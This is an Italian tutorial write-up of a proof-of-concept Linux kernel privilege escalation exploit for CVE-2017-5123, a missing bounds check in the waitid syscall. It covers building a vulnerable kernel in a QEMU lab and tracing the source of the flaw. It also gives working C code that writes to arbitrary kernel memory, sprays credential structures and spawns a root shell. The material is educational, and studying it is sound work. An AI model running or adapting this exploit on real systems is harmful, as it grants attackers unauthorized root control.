
PoC CVE-2017-5123 - LPE - Bypass di SMEP/SMAP. Senza KASLR
PoC CVE-2017-5123 - LPE - Bypass di SMEP/SMAP. No KASLR
In questo piccolo writeup analizzerò una vulnerabilità del kernel che ci consente di ottenere il privilegio root.
Questo file è diviso in quattro parti:
Voglio sottolineare che ci sono molti modi migliori per sfruttare questa CVE (in effetti, questo è solo un PoC per imparare il kernel, non può essere usato in the wild) ma penso che questa metodologia possa essere utile come introduzione allo sfruttamento del kernel.
Questa vulnerabilità è stata introdotta in 4c48abe91be0, quindi dobbiamo compilare quella versione del kernel.
Questo può essere un po' complicato perché è una vecchia versione e il codice dovrebbe essere patchato.
Ho creato un repository con un codice del kernel già patchato e un file .config così puoi clonare e compilare.
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
Nota: questo kernel verrà compilato con driver virtio, così puoi usare virtio disk per condividere file da/verso la VM.
Ora creeremo la rootfs iniziale:
qemu-img create -f raw hda.raw 10G
# Format the disk to ext4
mkfs.ext4 ./hda.raw
# Make a mountpoint for the image
mkdir /tmp/mount1
# Mount the disk
sudo mount -o loop ./hda.raw /tmp/mount1
Poi dovremmo installare una distribuzione Linux di base, ad esempio usando pacstrap o debootstrap.
sudo pacstrap /tmp/mount1 base base-devel vim
Infine, possiamo modificare il sistema:
# Add a 'test' user
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# without password
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# we can mount a virtio disk in order to share files between host and guest
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# It is usefull to have sudo permission
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
Se tutto è in ordine, possiamo ora provare il nostro sistema di test con qemu:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
La descrizione della CVE dice che c'è un'operazione di scrittura non limitata durante la system call waitid.
Apriamo kernel/exit.c e osserviamo il codice:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
Questa funzione è abbastanza semplice: dopo alcuni controlli, ci sono varie chiamate a unsafe_put_user(...) e la funzione ritorna.
La parte principale di questa funzione è composta dalla funzione unsafe_put_user(...), quindi spostiamoci lì (arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
C'è un grande avvertimento nel commento: se vuoi usare unsafe_put/get_user, dovresti prima chiamare access_ok() e circondarli con user_access_begin/end().
Se guardiamo il codice precedente (waitid), possiamo vedere che access_ok() non viene mai chiamato, quindi la system call viola questo avvertimento.
Ma cosa sono queste macro?
SMAP e SMEP sono due funzionalità di sicurezza introdotte nel kernel per rendere più difficile scrivere exploit. Da notare che queste funzionalità sono applicate dalla CPU.
SMEP impedisce di eseguire codice nello spazio utente mentre la CPU è in modalità supervisore; SMAP, invece, blocca l'accesso di lettura/scrittura alla memoria utente.
Il kernel deve scrivere/leggere dati dalla/alla memoria utente e questo può essere fatto in due modi:
copy_from_user) che permettono di copiare la memoria nello spazio del kernel;Come possiamo vedere nella definizione di unsafe_put_user, questa funzione copia solo il valore di x nella memoria puntata da ptr (e salta a err_label se c'è un errore). Abbiamo appena detto che il kernel non può accedere allo spazio utente a causa di SMAP, ed è per questo che queste funzioni dovrebbero essere racchiuse tra user_access_begin/end().
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
Come possiamo vedere, user_access_begin/end sono semplicemente le istruzioni ASM stac e clac.
stac: "Imposta il bit AC nel registro EFLAGS. Questo può abilitare il controllo di allineamento per gli accessi ai dati in modalità utente. Ciò consente accessi espliciti ai dati in modalità supervisore verso pagine in modalità utente anche se il bit SMAP è impostato nel registro CR4."clac: "Cancella il bit AC nel registro EFLAGS. Questo disabilita qualsiasi controllo di allineamento per gli accessi ai dati in modalità utente. Se il bit SMAP è impostato nel registro CR4, ciò impedisce accessi espliciti ai dati in modalità supervisore verso pagine in modalità utente."In pratica, queste due macro abilitano/disabilitano SMAP.
Il nostro precedente "avvertimento" menziona anche la funzione access_ok:
/**
* access_ok: - Checks if a user space pointer is valid
* @type: Type of access: %VERIFY_READ or %VERIFY_WRITE. Note that
* %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
* to write to a block, it is always safe to read from it.
* @addr: User space pointer to start of block to check
* @size: Size of block to check
*
* Context: User context only. This function may sleep if pagefaults are
* enabled.
*
* Checks if a pointer to a block of memory in user space is valid.
*
* Returns true (nonzero) if the memory block may be valid, false (zero)
* if it is definitely invalid.
*
* Note that, depending on architecture, this function probably just
* checks that the pointer is in the user space range - after calling
* this function, memory access functions may still return -EFAULT.
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
Il commento qui è autoesplicativo: questa macro controlla se il puntatore è un puntatore valido nello spazio utente.
Diamo un'altra occhiata al codice di waitid:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
Come hai già intuito, l'assenza di access_ok() porta a una scrittura arbitraria ovunque in memoria, perché il puntatore infop è completamente controllato dall'attaccante.
È davvero facile raggiungere il percorso vulnerabile e possiamo creare un trigger con questo semplice codice:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // It is also possible to use fork syscall
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // We should wait the thread
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
Questo semplice codice innescherà la vulnerabilità e scriverà nella memoria puntata dall'indirizzo where.
Possiamo usare gdb se vogliamo verificare questo trigger. Per esempio, possiamo selezionare un indirizzo arbitrario e usare la funzione trigger_bug per sovrascriverlo.
Questa vulnerabilità può essere sfruttata in vari modi, ma preferisco un approccio molto semplice.
Ricorda che possiamo scrivere dove vogliamo, ma i dati scritti sono parzialmente controllati. Possiamo sovrascrivere un indirizzo con 0.
L'idea di base è sovrascrivere il UID del nostro processo e diventare root, ma prima dobbiamo capire cosa sono le credenziali in Linux.
Iniziamo scavando nella system call fork. Questa funzione è usata per creare nuovi processi.
Possiamo controllare il codice in kernel/fork.c:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
Quindi, la system call fork è semplicemente un wrapper per _do_fork con parametri hardcoded.
Questa ultima funzione è un po' lunga ma possiamo riassumerla in questo modo:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// This will create another task struct but it will NOT start the process.
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// Wake up the new created task. This will set in RUNNING the state of the task and enqueue in the running queue code
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
Questa funzione allocherà un nuovo oggetto task_struct. Sebbene questa struttura sia davvero importante (descrive un processo), concentreremo la nostra attenzione sul campo cred:
...
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
...
Come possiamo vedere, ci sono tre puntatori a struct cred. Vediamo come è composta questa struttura (include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
......
Come possiamo vedere, l'UID di un processo è semplicemente un intero senza segno (segui la definizione di kuid_t), quindi possiamo semplicemente sovrascrivere questo valore con 0 per diventare root.
La struttura task_struct viene allocata nella funzione copy_process, che è un po' complessa e il suo obiettivo principale è 'copiare' il processo in uno nuovo.
Possiamo concentrarci su copy_creds(p, clone_flags) che è definita come:
/*
* Copy credentials for the new process created by fork()
*
* We share if we can, but under some circumstances we have to generate a new
* set.
*
* The new process gets the current process's subjective credentials as its
* objective and subjective credentials
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
Come possiamo vedere, questa funzione chiama prepare_creds dove viene eseguita la vera allocazione.
Ora abbiamo un percorso per allocare un numero (pseudo)arbitrario di struct cred:
_do_fork()copy_process()copy_creds()Il nostro ultimo problema è come chiamare _do_fork() dallo spazio utente. Possiamo usare fork, ma questo può essere lento, quindi useremo clone.
Nota: non possiamo usare pthread a causa dei flag: se guardi il codice di copy_creds, dovresti notare che c'è un percorso in cui la struttura non viene realmente allocata.
Ora, un piccolo riepilogo:
0 nella memoria0, questo ottiene i permessi di root.Ora dobbiamo sapere dove scrivere in memoria e, sebbene KASLR sia disabilitato, l'indirizzo di una struct cred non è abbastanza stabile, quindi ho deciso di procedere con memory spraying.
Dobbiamo trovare la struct cred in memoria per individuare un intervallo di indirizzi. Possiamo usare gdb e python con uno script come questo:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# Insert your executable name
if comm == "exploit":
print(task['cred'])
....
Nota: questo script funziona solo con KASLR disabilitato e con i simboli di debug (abbiamo bisogno del puntatore init_task).
Possiamo provare alcune volte e vediamo che l'heap cresce verso il basso, quindi possiamo provare da un indirizzo più basso e salire.
Ora possiamo usare la system call clone per generare molti processi e, grazie a gdb, possiamo controllare gli indirizzi:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread function can simply be a infinite loop
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
Nota: Forse non puoi generare più di 4k processi. Se è questo il caso, controlla gli ulimits.
Infine, possiamo scrivere il nostro PoC.
È sufficiente chiamare trigger_bug con indirizzi diversi (cercando la struttura) mentre il nostro thread generato controllerà il suo UID, in questo modo:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// Sprayed thread
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// Loop over syscall getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// If returned UID is different from the previous one, then we have hitted a struct cred area
if (uid != previous_one){
printf("WIN!! with %d", uid);
// Kill other treads in order to stabilize the system
glob_var.one_win = 1;
// Simply spawn a shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
C'è una probabilità del 50% di colpire la struttura, quindi dopo alcuni tentativi puoi ottenere il privilegio root.

Questo è un PoC (di base) e lo spraying è lontano dall'essere perfetto. Questa è solo un'"introduzione" al fantastico mondo del kernel: ci sono molti concetti che ho saltato ma sono estremamente importanti (come la gestione della memoria). Se vuoi studiare più a fondo, puoi dare un'occhiata a prepare_creds e alle allocazioni di memoria.
KASLR è disabilitato, ma questa vulnerabilità consente di bypassare anche questa mitigazione (unsafe_put_user non va in crash con un indirizzo non valido), ma non penso che aggiungere un nuovo "layer" di brute force sia utile se il tuo obiettivo è imparare il kernel. Se il tuo obiettivo è usare questa vulnerabilità in the wild, dovresti scrivere un exploit diverso (almeno, uno spraying diverso).
Spunto di riflessione: ho usato questa vulnerabilità per capire e provare la tecnica ret2dir (Suggerimento: puoi innescare la scrittura nell'indirizzo alias e leggere la modifica con un indirizzo dello spazio utente).